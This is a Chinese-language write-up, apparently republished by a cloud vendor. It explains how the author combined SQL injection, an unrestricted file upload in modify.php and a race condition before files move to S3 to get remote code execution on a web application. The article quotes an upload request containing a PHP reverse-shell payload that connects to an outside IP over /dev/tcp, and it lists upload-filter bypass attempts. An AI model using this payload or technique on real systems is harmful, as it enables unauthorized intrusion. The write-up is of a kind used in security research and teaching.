利用競爭條件對目標Web應用實現RCE的示例分析

利用競爭條件對目標Web應用實現RCE的示例分析，相信很多沒有經驗的人對此束手無策，為此本文總結了問題出現的原因和解決方法，通過這篇文章希望你能解決這個問題。

通過對SQL注入和競爭條件（Race Condition）的組合利用，利用上傳文件到服務器和服務器轉移上傳文件到Amazon S3的時間差，最終實現了對目標應用的RCE漏洞。由于該RCE漏洞的發現相對獨特，所以下面著重從競爭條件（Race Condition）的觸發機制說起，和大家分享。

競爭條件（Race Condition）：計算機運行過程中，并發、無序、大量的進程在使用有限、獨占、不可搶占的資源，由于進程無限，資源有限，產生矛盾，這種矛盾稱為競爭（Race）。競爭條件（Race Condition）旨在描述一個系統或者進程的輸出依賴于不受控制的事件出現順序或者出現時機。由于兩個或者多個進程競爭使用不能被同時訪問的資源，使得這些進程有可能因為時間上推進的先后原因而出現問題。

漏洞詳情

第一個上傳功能點upload.php

這里的前提是，我已經通過SQL注入獲取到了目標Web應用的管理員賬戶憑據，然后登錄到其內部管理界面后，我發現可通過該管理面板中的upload.php功能發布新聞或文章：

沒做太多考慮，我就直接通過upload.php嘗試上傳了一個.php文件shell，但問題是該上傳功能限制了對.php格式文件的上傳，在變化.PhP、.php3、phpphp、空字符等形式的繞過方法后，還是不行：

然后，我想到了存儲型XSS，能不能通過上傳 .html、.xml或.svg格式文件呢？這一下上傳總算成功了，但是，由于目標Web應用又會把用戶上傳文件轉儲到云端的S3存儲桶中去，那在S3存儲桶觸發XSS也沒意義了。好吧，那暫時把這個問題放一邊，來看其它的。

第二個上傳功能點modify.php

在沒有頭緒之時，我又返回管理面板中“news”欄目，想看看能不能在添加或編輯操作中發現可利用的點。此時，我注意到了“edit”功能，如下在這個非法上傳文件右上端，我點擊了其“edit”按鈕：

然后跳出了以下包含upload to replacing the file的窗口：

我想到的是，它可能也是包含了限制過濾條件吧，但事實是，它沒有任何后綴格式限制條件！可以上傳任意文件！那就上傳吧，如果沒有限制條件的話，那它調用的應該不是之前的upload.php，確實是，它調用了另一上傳功能點“modify.php”，以下是它的調用請求格式：

Content-Disposition: form-data; name="fileid"31337-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="name"picture-1.png-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="description"-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="userfile"; filename="reverse.php"Content-Type: text/php<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'");-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="save"Save

大功告成了嗎？并沒有。目標Web應用之后還會把用戶上傳文件轉儲上傳到云端S3存儲桶中去，也就是說，如果被傳到S3中去，在目標Web應用的服務器中，我們也沒shell可反彈了。    

競爭條件（Race Condition）響應錯誤獲得本地文件路徑

此時，毫無頭緒之際，我通過burpsuite的 intruder 模式上傳操作中，發現了響應長度的異常。有時候需要發起10個左右的請求，有時候則需要發起20–30個請求，才會出現這樣的響應異常。正常來說，多數請求的響應長度為1147，但奇怪的是，在其中，會夾雜著長度為1710的響應。如多次上傳空內容的rc.php，其請求樣式為：

以下是正常的長度為1147的響應：

以下則是異常的長度為1710的響應，其中竟然返回了我們上傳的php文件的本地路徑：

本想著，有了這個路徑，那么完全就可以實現監聽反彈了，但其實不然。當我通過瀏覽器訪問該上傳php文件后，Web應用返回了“File not Found”的提示，經再次檢查后發現，該文件路徑已經對應成了S3存儲桶的路徑了，所以，因此我猜測，我們的上傳文件被目標Web應用移動到云端S3之前，在Web應用服務器中保存的時間大概會是短暫的1到2秒。

用競爭條件（Race Condition）反彈Shell并實現RCE

根據以上的時間猜測，我就有一個想法：如果我們從客戶端來觸發競爭條件，通過瀏覽器反復請求上傳文件路徑，以此來爭取對其的訪問占有權限，這樣的做法是否可行？

也就是：

在我們shell反彈服務器中設置端口監聽 -> 上傳我們的反彈shell文件 -> 發起多個請求執行競爭條件 -> 獲取長度異常的響應 -> 從中獲取上傳shell文件路徑并用瀏覽器訪問并不斷刷新（CTRL+R） -> 以這種方式再次讓目標Web應用處于競爭條件下, 我們就占有了對上傳shell文件的繼續訪問權。

一試，果然行。以下是觸發反彈shell實現RCE的競爭條件邏輯圖：

nc端監聽返回的RCE結果：

看完上述內容，你們掌握利用競爭條件對目標Web應用實現RCE的示例分析的方法了嗎？如果還想學到更多技能或想了解更多相關內容，歡迎關注億速云行業資訊頻道，感謝各位的閱讀！